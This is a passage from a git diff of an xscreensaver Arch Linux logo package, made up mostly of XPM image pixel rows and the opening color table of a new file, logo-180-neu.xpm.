@@@@)))),>>>>>>>>>>>>-&&&>>>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>>)!!!;@@@@@@@!!!!,>,!!!!;@@@@ ", +" @@@@=!!!!,>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>-%%%>>>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>>'!!!'@@@@@@=!!!!,>>)!!!=@@@@ ", +" @@@@=!!!!>>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>-%%%->>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>>,!!!!@@@@@@'!!!)>>>)!!!=@@@@ ", +" @@@@=!!!!>>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!)@@@@ @@@@)))),>>>>>>>>>>>>*%%%->>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>>,!!!!#@@@@@!!!!,>>>)!!!=@@@@ ", +" @@@@=!!!!>>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!)@@@@ @@@@)))),>>>>>>>>>>>>*%%%->>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>>>)!!!=@@@@#!!!!,>>>!!!!=@@@@ ", +" @@@@=!!!!>>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!)@@@@ @@@@)))),>>>>>>>>>>>>*%%%->>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>>>'!!!'@@@@;!!!)>>>>!!!!=@@@@ ", +" @@@@#!!!!,>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>,!!!)@@@@ @@@@)))),>>>>>>>>>>>>*%%%*>>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>--------->>>>,!!!!@@@@!!!!'>>>>!!!!#@@@@ ", +" @@@@#!!!!,>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>,!!!'@@@@ @@@@)))),>>>>>>>>>>>>*%%%*>>>>---------->>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>--------->>>>,!!!!;@@=!!!!,>>>>!!!!#@@@@ ", +" @@@@#!!!!,>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>,!!!'@@@@ @@@@)))),>>>>>>>>>>>>*%%%*>>>>>--------->>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>--------->>>>>)!!!!!!!!!!)>>>>,!!!!#@@@@ ", +" @@@@#!!!!,>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>,!!!'@@@@ @@@@)))),>>>>>>>>>>>>*%%%&>>>>>--------->>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>--------->>>>>,)!!!!!!!!!,>>>>,!!!!#@@@@ ", +" @@@@!!!!,>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>,!!!'@@@@ @@@@)))),>>>>>>>>>>>>*%%%%>>>>>--------->>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>--------->>>>>>,!!!!!!!!,>>>>>,!!!!#@@@@ ", +" @@@@!!!!,>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>&%%%%>>>>>--------->>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>--------->>>>>>>,)!!!!),>>>>>>,!!!!@@@@ ", +" @@@@)!!!,>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>&%%%%>>>>>--------->>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>--------->>>>>>>>>,,,,>>>>>>>>,))))@@@@ ", +" @@@@)!!!'>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>&%%%%>>>>>---------->>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>>>>>>>>>>>>>>>>>>>>,))))@@@@ ", +" @@@@'!!!'>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>%%%%%->>>>---------->>>>>>>>>>,))))@@@@@@@@@!!)),>>>>>>>>-------->>>>>>>>>>>>>>>>>>>>>,)))'@@@@ ", +" @@@@'!!!)>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>%%%%%->>>>---------->>>>>>>>>>,))))@@@@@@@@@!)!!,>>>>>>>--------->>>>>>>>>>>>>>>>>>>>>')))'@@@@ ", +" @@@@;!!!)>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>%%%%%*>>>>-*********>>>>>>>>>>,))))@@@@@@@@@!))),>>>>>>>--------->>>>>>>>>>>>>>>>>>>>>'!!!;@@@@ ", +" @@@@;!!!)>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>%%%%%*>>>>---------->>>>>>>>>>,))))@@@@@@@@@!))),>>>>>>>-********>>>>>>>>>>>>>>>>>>>--')));@@@@ ", +" @@@@=!!!!>>>>>>>>>>>>-------->>>>>>>>>>>>>>>>-,!!!'@@@@ @@@@)))),>>>>>>>>>>>>%%%%%*>>>>----------->>>>>>>>>,))))@@@@@@@@@!))),>>>>>>>-********>>>>>>>>>>>>>>---->>>')))=@@@@ ", +" @@@@#!!!!>>>>>>>>>>>>--------->>>>>>>>>>>>>>->,!!!'@@@@ @@@@)))),>>>>>>>>>>>>%%%%%&>>>>>*********->>>>>>>>>,))))@@@@@@@@@!))),>>>>>>>-********->>>>>>>>---->>>>----))))=@@@@ ", +" @@@@#!!!!,>>>>>>>>>>>--------->>>>>>>>>>>>>->-,!!!'@@@@ @@@@)))),>>>>>>>>>>>-%%%%%%>>>>>**********>>>>>>>>>,))))@@@@@@@@@!))),>>>>>>>-********->>>---->>>>---------))))#@@@@ ", +" @@@@@!!!!,>>>>>>>>>>>--------->>>>>>>>>>>->---,!!!'@@@@ @@@@)))),>>>>>>>>>>>-%%%%%%>>>>>-*********->>>>>>>>,))))@@@@@@@@@)))),>>>>>>>-********--->>>>--------------))))#@@@@ ", +" @@@@)!!!,>>>>>>>>>>>--------->>>>>>>>>>->----,!!!'@@@@ @@@@)))),>>>>>>>>>>>-%%%%%%>>>>>-*********->>>>>>>>,))))@@@@@@@@@)))),>>>>>>>-********->------------------,))))@@@@@ ", +" @@@@)!!!,>>>>>>>>>>>-------*->>>>>>>>->>-----,!!!'@@@@ @@@@)))),>>>>>>>>>>>-%%%%%%->>>>-**********>>>>>>>>,))))@@@@@@@@@)))),>>>>>---********--------------------,)))'@@@@ ", +" @@@@'!!!'>>>>>>>>>>>-------*->>>>>>>->-------,!!!'@@@@@@@@@)))),>>>>>>>>>>>*%%%%%%->>>>>**********>>>>>>>>,))))@@@@@@@@@)))),---->>>*********--------------------,)))'@@@@ ", +" @@@@;!!!)>>>>>>>>>>>----*****>>>>>>->--------,!!!'@@@@@@@@@)))),>>>>>>>>>>>*%%%%%%*>>>>>**********->>>>>>>,))))@@@@@@@@@)))),>>>----*********--------------------')));@@@@ ", +" @@@@=!)))>>>>>>>>>>>>********>>>>->----------,!!!'@@@@@@@@@)))),>>>>>>>>>>>*%%%%%%*>>>>>-**********>>>>>>>,))))@@@@@@@@@)))),-------*********--------------------')))=@@@@ ", +" @@@@=))))>>>>>>>>>>>-********>>>->-----------,!!!'@@@@@@@@@)))),>>>>>>>>>>>&%%%%%%&>>>>>>**********>>>>>>>,))))@@@@@@@@@)))),-------**********-------------------')))=@@@@ ", +" @@@@#)))),>>>>>>>>>>>********--->------------,!!!'@@@@@@@@@)))),>>>>>>>>>>>%%%%%%%%>>>>>>**********->>>>>>,))))@@@@@@@@@)))),-------**********-------------------))))#@@@@ ", +" @@@@)))),>>>>>>>>>>>********->--------------,)!!'@@@@@@@@@)))),>>>>>>>>>>>%%%%%%%%>>>>>>-*********->>>>>>,)))'@@@@@@@@@)))),-------**********-------------------''''#@@@@ ", +" @@@@)))),>>>>>>>>>>>********----------------,)'''@@@@@@@@@)))),>>>>>>>>>>*%%%%%%%%->>>>>>**********>>>>>>,)'''@@@@@@@@@)))),-------***&&&&&&*------------------,''''@@@@ ", +" @@@@')))'>>>>>>>>>>>********----------------,''''@@@+@@@@@)))),>>>>>>>>>&%%%%%%%%%%>>>>>>**********->>>>>,''''@@@@@@@@@''))--------*&&&&&&&&*------------------,''''@@@@ ", +" @@@@;))))>>>>>>>>>>>********----------------,''''@@@@@@@@@)))),>>>>>>>>%%%%%%%%%%%%%>>>>>-*********->>>>>,''''@@@@@@@@@))))--------*&&&&&&&&*------------------'''';@@@@ ", +" @@@@=))))>>>>>>>>>>>*********---------------,''''@@@@@@@@@)))),>>>>>>>&%%%%%%%%%%%%%%>>>>-**********>>>>>,''''@+@@@@@@@')))--------*&&&&&&&&&------------------''''=@@@@ ", +" @@@@#)))),>>>>>>>>>>*********---------------,''''@@@@@@@@@)))),>>>>>>*%%%%%&;;;&%%%%%*>>>>**********>>>>>,''''@@@@@@@@@))))--------*&&&&&&&&&------------------''''#@@@@ ", +" @@@@)))),>>>>>>>>>>*********---------------,''''@@@+@@@@@)))),>>>>>>%%%%%;;;;;;&%%%%%->>>**********>>>--,''''@@@@@@@@@''''--------*&&&&&&&&&-----------------,''''@@@@@ ", +" @@@@'))),>>>>>>>>->*********---------------,''''++++@@@@@)))),>>>>>*%%%%=;;;;;;;&%%%%&>>>-*******&&-->>-,''''@@@@@@@@@))))--------*&&&&&&&&&-----------------,''''@@@+ ", +" @@@@;)))'>>>>>>>->-********&--------------*,''''++++@@@@@)))),>>>>>%%%%&;;;;;;;;;%%%%%->>>*******&&->---,''''@+++@@@@@''''--------&&&&&&&&&&------------*****;''';@@@@ ", +" @@@@=))))->>>>>->---*****&&&------------***,''''++++@@@@@)))),>>>>-%%%%;;;;;;;;;;=%%%%*>>>*****&**&-----,''''++++@@@@@''''--------&&&&%%%%%%*------**********''''=@@@@ ", +" @@@@#)))),>>>->-----*******&-----------****,''''++++@@@@@)))),>>>>&%%%$;;;;;;;;;;;%%%%%>>>-*&&&&&&&*----,''''++++@@@@@''''--------*&&&&&&%%%*-***************''''#@+++ ", +" +++@)))),>>->------***&&&&&*--------******,''''++++@@@@@)))),>>>>%%%%&;;;;;;;;;;;$$$$%->>-&&&&&&&&*----,''''++++@@@@@''''--------*%%%%%%%%%&***************-''''@++++ ", +" @@@@')))'->>-------**&&&&&&*-------*******,''''++++@@@@@)))),>>>>%%%%;;;;;;;;;;;;&%%$$-->-&&&&&&&&&----,''''+++++@@@@''''--------&%%%%%%%%%&***************,''''@+++ ", +" @@@@=)))'>---------&&&&&&&&*------********,''''++++@@@@@)))),>>>-%%%%;;;;;;;;;;;;=$$$$*>--*&&&&&&&&----,''''++++@@@@@''''-----***&%%%%%%%%%&***************;''';++++ ", +" @@@@#))))----------&&&&&&&&*----*********&,''''++++@@@@@)))),>>>-%%%%;;;;;;;;;;;;=$$$$*---*&&&&&&&&----,''''++++@@@@@''''-*******&%%%%%%%%%&**************&''''=++++ ", +" ++++@))'',---------&&&&&&&&&---*********&&,''''++++@@@@@)))),>>>*%$$$;;;;;;;;;;;;;$$$$*---*&&&&&&&%----,''''++++@@@@@''''-*******&%%%%%%%%%%*********&&&&&&''''#++++ ", +" +++@''')'---------*&&&&&&%&-**********&*&,''''++++@@@@@)))),>>>*$%%$;;;;;;;;;;;;;$$$$&---*&&&&&&&&----,''''++++@@@@@''''&*******&%%%%%%%%%%****&&&&&&&***,''''@+++ ", +" ++++;''''---------*&&&&%%%&*********&&*&&,''';++++@@@@@)))),>>>*%%%$;;;;;;;;;;;;=$$$$*----&&&&&&&&----,''''++++@@@@@''''&*******&%%%%%%%%%%&&&&&&****&&&&;''';++++ ", +" ++++#''''---------*&&&&&%%%********&&*&&&=''';++++@@@@@)))),>>>*$$$$;;;;;;;;;;;;=$$$$*----%&&&&&&&----,''''++++@@@@@''''&*******&%%%%%%%%%%&****&&&&&&&&&;'''=++++ ", +" ++++@'''',--------*&&%%%%%%******&&*&&&&&=''';++++@@@@@))'',>>>-%%$$=;;;;;;;;;;;&$$$$*---*&&&&&&%&----,''''+++++@@++''''&*******&%%%%%%%%%%&&&&&&&&&&&&&&''''#++++ ", +" ++++'''''--------*%%%%%%%%*****&&*&&&&&&&''';+++++@@@@'''',>>>-$$$$&;;;;;;;;;;;$$$$$----*&&&&&&&&----,''''+++++@@@+''''&**&&&&&&%%%%%%%%%%&&&&&&&&&&&&&=''';@+++ ", +" ++++=''''--------*&&&%%%%%****&*&&&&&&&&&''';+++++@@@@'''',>>>>%$$$$;;;;;;;;;;;$$$$$----*&&&&&%%&----,''''+++++@@@+''''&&&&&***&%%%%%%%%%%&&&&&&&&&&&&&;'''=++++ ", +" ++++#''''--------*&%%%%%%%&*&&*&&&&&&&&&&''';+++++@@@@'''',>-->%$$$$=;;;;;;;;;&$$$$%----*&&&&&&%&-----''''+++++@+++''''&**&&&&&&%%%%%%%%%%&&&&&&&&&&&&&''''#++++ ", +" ++++@'''',-------*&%%%%%%%&&&*&&&&&&&&&&&'';;+++++@@@@'''',->>-*$$$$$;;;;;;;;;$$$$$&----&&&&&%%%&----,''''+++++++++''''&&&&&&&&&%%%%%%%%%%%&&&&&&&&&&&&;;;;@++++ ", +" ++++;''''------**&%%%%%%%&*&&&&&&&&&&&&&;;;;+++++@@@@'''',-----$$$$$&;;;;;;;$$$$$$*----&&&%%%%%&-----''''+++++++++''''&&&&&&&&&%%%%%%%%%%%&&&&&&&&&&&;;;;;++++ ", +" ++++#''''-----**-&%%%%%%%&&&&&&&&&&&&&&&;;;;+++++@+@@'''',-----&$$$$$&;;;;;$$$$$$%----*%%%%%%%%*--**,''''+++++++++''''&&&&&&&&&%%%%%%%%%%%&&&&&&&&&&&;;;;=++++ ", +" ++++@'''',---,''';=&%%%%%&&&&&&&&&&&&&&&;;;;+++++@@@@'''',------$$$$$$$&=&$$$$$$$&----*%%%%%%%%*****,''''+++++++++''''&&&&&&&&&%%%%%%%%%%%&&&&&&&&&&&;;;;@++++ ", +" ++++;''';--'''''';;&%%%%&&&&&&&&&&&&&&&;;;;+++++@@@@'''',------%$$$$$$$$$$$$$$$$-----&%%%%%%%%*****-''''+++++++++''''&&&&&&&&&%%%%%%%%%%%&&&&&&&&&&=;;;;++++ ", +" ++++=''''-''''''';;;&%%%%&&&&&&&&&&&&&&;;;;+++++@@@@'''',------*$$$$$$$$$$$$$$$&----*&%%%%%%%%*****-''';+++++++++''''&&&&&&&&&%%%%%%%%%%%&&&&&&&&&&;;;;=++++ ", +" ++++@'''''''''''';;;;%%%%&&&&&&&&&&&&&&;;;;+++++@+++'''',-------%$$$$$$$$$$$$$$-----*%%%%%%%%%*****-;;;;+++++++++''''&&&&&&&&&%%%%%%%%%%%%&&&&&&&&&;;;;#++++ ", +" ++++;''''''';&&;;;;;&%%%&&&&&&&&&&&&&&;;;;+++++++++'''',-------*$$$$$$$$$$$$$&-----&%%%%%%%%&*****-;;;;+++++++++';;;&&&&&&&&&%%%%%%%%%%%%&&&&&&&&=;;;;+++++ ", +" ++++='''''''#++#;;;;=%%%&&&&&&&&&&&&&&;;;;+++++++++'''',--------%$$$$$$$$$$$%*---**%%%%%%%%%&*****=;;;;++++++++@;;;;&&&&&&&&&%%%%%%%%%%%%&&&&&&&&;;;;=++++ ", +" ++++#'''''';++++=;;;=%%%&&&&&&&&&&&%%&;;;;+++++++++'''',--------&$$$$$$$$$$$&--***&%%%%%%%%%&**&&&=;;;;+++++++++;;;;&&&&&&&&&%%%%%%%%%$$%&&&&&&&&;;;;#++++ ", +" +++++;'''''=++++=;;;;%%%&&&&&&&&&&%%%&;;;;+++++++++'''',---------%$$$$$$$$$%-*****%%%%%%%%%%&&&&**&;;;;+++++++++;;;;&&&&&&&&&%%%%%%%%%%%%&&&&%%%=;;;;+...+ ", +" ++++#'''''#++++=;;;=%%%&&&&&&&&%%%%%&;;;;+++++++++'''',---------&$$$$$$$$$&******%%%%%%%%%%&&*&&&&;;;;+++++++++;;;;&&&&&&&&%%%%%%%%%%%%%%%%%%%&;;;;#.... ", +" ++++@'''';+++++=;;;=%%%&&&&&&&%%%%%%&;;;;+++++++++'''',---------*$$$$$$$$%******&%%%%%%%%%%*&&&&&&;;;;+++++++++;;;;&&&&&&&&&%%$$%%$$$$$$%%%%%%=;;;;+.... ", +" ++++;;;;;+++++=;;;=%%%%&&&&&%%%%%%%&;;;;+++++++++'''',----------%$$$$$$$%*****&%%%%%%%%%%&&&&&&&&;;;;+++++++++;;;;&&&&&&&&%%%%%%$$$$$$$%%%%%%;;;;=.... ", +" ++++#;;;=+++++=;;;=%%%%&&&%%%%%%%%%&;;;;+++++++++'''',----------&$$$$$$$******&%%%%%%%%%%&&&&&&&&;;;;+++++++++;;;;&&&&&%%%%$$$$$$$$$$$$%%%%%&;;;;#.... ", +" +++++;;;#+++++=;;;=%%%%&&%%%%%%%%%%&;;;;+++.+++++'''',--------***$$$$$$%******&%%%%%%%%%%&&&&&&&&;;;;++..+++++;;;;&%%%%%%%%$$$$$$$$$$$$%%%%%=;;;;+.... ", +" ++++=;;++++++=;;;=%%%%%%%%%%%%%%%%&;;;;....+++++'''',------*****$$$$$$%****&&%%%%%%%%%%%&&&&&&&&;;;;....+++++;;;;&%%%%%%%%$$$$$$$$$$$$%%%%$;;;;=.... ", +" ++++#;;++++++=;;;=%%%%%%%%%%%%%%%$&;;;;....+++++''''-----*******%$$$$$&**&&&&%%%%%%%%%%%&&&&&&&&;;;;....+++++;;;;&%%%%%%%%$$$$$$$$$$$$$%%%=;;;;@.... ", +" +++++;=++++++=;;;=%%%%%%%%%%%%%%$%&;;;;....+++++'''',-**********%$$$$$&&&&**&%%%%%%%%%%%&&&&&&&&;;;;....+++++;;;;&%%%%%%%%$$$$$$$$$$$$$%%$;;;;=..... ", +" ++++##++++++=;;;=$$$$%%%%%%%%$$$$&;;;;....+++++''''-***********&$$$$$&**&&&%%%%%%%%%%%%&&&&&&&&;;;;....+++++;;;;%%%%%%%%%%$$$$$$$$$$$$%%=;;;;#.... ", +" ++++++++++++=;;;=$$$%%%%%%%%$$$$$&;;;;....+++++'''',***********&$$$$$*&&&&&%%%%%%%%%%%%&&&&&&&&;;;;....++..+;;;;%%%%%%%%%$$$$$$$$$$$$$$$=;;;=+.... ", +" +++++++....=;;;=$$$$%%%%%$$%$$$$=;;;;....+++++''''-**********&&$$$$$&&&&&&%%%%%%%%%%%%&&&&&&&&;;;;....+...+;;;;%%%%%%%%%$$$$$$$$$$$$$$&;;;;#.... ", +" ++.........=;;;=$$$$%%%%$$$$$$$$$;;;;....+++++''''-********&&&*$$$$$&&&&&&%%%%%%%%%%%&&&&&&&&&;;;;........+;;;;%%%%%%%%%$$$$$$$$$$$$$$=;;;;+.... ", +" ...........=;;;&$$$$%%%$$$$$$$$$$====....+++++''''-*****&&&&*&&$$$$$&&&&&&%%%%%%%%%%%&&&&&&&&&;;;;........+;;;;%%%%$$$$$$$$$$$$$$$$$$$;;==#.... ", +" ..........=;;;=$$$$%$$$$$$$$$$$$====....+++++'';;-***&&&**&&&&$$$$$&&&&&&%%%%%%%%%%%&&&&&&&&&;;;;........+;;;;$$$$$$%$$$$$$$$$$$$$$$=;;;=+.... ", +" ..........====&$$$$$$$$$$$$$$$$$====....+++++;;;;-&&&&**&&&&&&$$$$$&&&&&%%%%%%%%%%%%&&&&&&&&&;;;;........+;;;;%%$$$$$$$$$$$$$$$$$$$$;====..... ", +" .........=====$$$$%$$$$$$$$$$$$====....+++++;;;;=&**&&&&&&&&&$$$$%&&&&&%%%%%%%%%%%%&&&&&&&%&;;;;........+;;;;$$$$$$$$$$$$$$$$$$$$$=====+.... ", +" .........=====$$$$$$$$$$$$$$$$$====....+++++;;;;&*&&&&&&&&&&&$$$$%&&&&&%%%%%%%%%%%%&&&&%%%%&;;;;........+;;;;$$$$$$$$$$$$$$$$$$$$$=====..... ", +" ........=====$$$$$$$$$$$$$$$$$====....+++++;;;;&&&&&&&&&&&&&$$$$%&&&&&%%%%%%%%%%%%&&%%%%%%&;;;;........+;;;;$$$$$$$$$$$$$$$$$$$$=====+.... ", +" .. ....====#$$$$$$$$$$$$$$$$$====.....++++;;;;&&&&&&&&&&&&&$$$$%&&&&&%%%%%%%%%%%%%%%%%%%%&;;;;........+====$$$$$$$$$$$$$$$$$$$$=====..... ", +" ....====$$$$$$$$$$$$$$$$$$====.....++++;;;;&&&&&&&&&&&&&$$$$%&&&&%%%%%%%%%%%%%%%%%%%%%&;;;;........+====$$$$$$$$$$$$$$$$$$$=====+.... ", +" ....====$$$$$$$$$$$$$$$$$$====.....++++;;;;&&&&&&&&&&&&&$$$$%&&&&%%$$$$%%$$$$%%%%%%%%%&;;;;........+====$$$$$$$$$$$$$$$$$$$====#..... ", +" ....====$$$$$$$$$$$$$$$$$$====+....++++;;;;&&&&&&&&&&&&&$$$$%&&&&%%%$%%%$$$$$%%%%%%%%%&;;;;........+====$$$$$$$$$$$$$$$$$$=====+.... ", +" ....====#$$$$$$$$$$$$$$$$$====+....++++;;;;&&&&&&&&&&&&&$$$$&&&&&%$%%%$$$$$$$%%%%%%%%%&;;;=........+====$$$$$$$$$$$$$$$$$=====#..... ", +" ....=====$$$$$$$$$$$$$$$$$====+....++++;;;;&&&&&&&&&&&&&$$$$&&&&&%%$$$$$$$$$$%%%%%%%%%&;;;=........+====$$$$$$$$$$$$$$$$$=====+.... ", +" ....=====$$$$$$$$$$$$$$$$$====+....++++;;;;&&&&&&&&&&&&&$$$$&&&%%%%%%$$$$$$$$%%%%%%%$$&;;;=........+====$$$$$$$$$$$$$$$$=====#..... ", +" ....#=====$$$$$$$$$$$$$$$$====.....++.+;;;;&&&&&&&&&&&&&$$$$&%%%%%$$$$$$$$$$$%%%%%$$$%&====........+====$$$$$$$$$$$$$$$$=====..... ", +" .....=====$$$$$$$$$$$$$$$$====........+;;;;&&&&&&&&&&&&&$$$$%%%%%%$$$$$$$$$$$%%%$$$$$$&====........+====$$$$$$$$$$$$$$$=====+.... ", +" ....+=====$$$$$$$$$$$$$$$====........+;;;;&&&&&&&&&&&&&$$$$%%%%%$$$$$$$$$$$$$$$%$$$$$&====........+====$$$$$$$$$$$$$$#====#..... ", +" .....#====$$$$$$$$$$$$$$$====........+;;;;&&&&&&&&&&%%%$$$$%%%%%$$$$$$$$$$$$$%$$$$$$$$====........+====$$$$$$$$$$$$$$=====+.... ", +" ....+=====$$$$$$$$$$$$$$====........+;;;;&&&&&&&&%%%%%$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$$$$$$=====#..... ", +" .....#====#$$$$$$$$$$$$$====........+;;;;&&&&&&%%%%%%%$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$$$$$#=====..... ", +" .....=====$$$$$$$$$$$$$====........+;;;;&&&%%%%%%%%%%$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$$$$$=====@..... ", +" ....@=====$$$$$$$$$$$$====........+;;;;&%%%%%%%%%%%%$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$$$$=====#..... ", +" .....#====$$$$$$$$$$$$====........+;;;;&%%%%%%%%%%%%$$$$%%%$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$$$#=====..... ", +" ....+=====$$$$$$$$$$$====........+;;;;&%%%%%%%%%%%%$$$$$$$%%$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$$$=====@..... ", +" .....#=====$$$$$$$$$$====........+;;;;&%%%%%%%%%%%%$$$$$%$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$$=====#..... ", +" .....#====$$$$$$$$$$====........+;;;;&%%%%%%%%%%%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$======+.... ", +" ....+=====$$$$$$$$$====.........;;;;&%%%%%%%%%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$$=====@..... ", +" .....#=====$$$$$$$$====.........;;;;&%%%%%%%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$$=====#..... ", +" .....#====$$$$$$$$====.........;;;;&%%%%$$$%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$$=====#..... ", +" ....+=====$$$$$$$====.........;;;;&%%$$$%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$======+..... ", +" .....#=====$$$$$$====.........;;;;&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$$=====#..... ", +" .....#=====$$$$$====.........;;;;&%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$$=====#..... ", +" .....=====$$$$$====.........;;==&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$$=====#...... ", +" .....+=====$$$$====.........====&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$$======+..... ", +" .....#=====$$$====.........====&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$======@..... ", +" .....#=====$$====.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====$=====#..... ", +" ....+=====$$====.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+=========#..... ", +" .....+=====$====.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+========#...... ", +" .....#=========.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+========+..... ", +" .....#========.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+=======+..... ", +" .....#=======.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+======#..... ", +" ......=======.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+=====#..... ", +" ......======.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+====#...... ", +" .....+=====.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====........+===#...... ", +" .....@====.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$==$$$$$$====........+==#...... ", +" .....#===.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$=======$$$====........+=#+..... ", +" .....#==.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#=========$$====........+#+..... ", +" ......#=.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$===========$====........++..... ", +" ......#.........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$=================.............. ", +" ...............====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====#+.@=========............. ", +" ..............====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====....#========............ ", +" .............====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#===#....+========........... ", +" ...........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====#.....========.......... ", +" ..........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====#.....========......... ", +" .........====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$====+.....#=======.... ... ", +" .. ....====$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#====......#=======.... ", +" ....=====$$$$$$$$$$$$$$$$$$$$$$$$$$$$#===#......+=======.... ", +" ....=====$$$$$$$$$$$$$$$$$$$$$$$$$$$$#===#.......======+.... ", +" ....======$$$$$$$$$$$$$$$$$$$$$$$$$$$====@.......#====#..... ", +" ....+=======$$$$$$$$$$$$$$$$$$$$$$$$$====+.......#===#...... ", +" .....+=======$$$$$$$$$$$$$$$$$$$$$$$#===#........+==#...... ", +" .......#======$$$$$$$$$$$$$$$$$$$$$$#===#.........=#...... ", +" .......#======$$$$$$$$$$$$$$$$$$$$$#####.... ....+...... ", +" ......#=======$$$$$$$$$$$$$$$$$$$####+.... .......... ", +" ......+=======$$$$$$$$$$$$$$$$$$====+.... ......... ", +" ......+#======$$$$$$$$$$$$$$$$#####.... ........ ", +" .......#=======$$$$$$$$$$$$$$#####.... ...... ", +" .......@=======$$$$$$$$$$$$$#####.... ..... ", +" ......+#=======$$$$$$$$$$$####+.... .. ", +" .......#=======$$$$$$$$######+.... ", +" .......+#=======$$$$$#######.... ", +" .......#========$########@.... ", +" .......+#========######+..... ", +" .......@=======#####....... ", +" ........#=====###+....... ", +" .......+#===#@........ ", +" ........+##........ ", +" ................ ", +" ............. ", +" ......... ", +" ..... ", +" . "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-neu.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-neu.xpm new file mode 100644 index 0000000..0679c59 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-neu.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_neu_xpm[] = { +"180 180 17 1", +" c None", +". c #484947", +"+ c #7C5900", +"@ c #9D7107", +"# c #B18004", +"$ c #A98736", 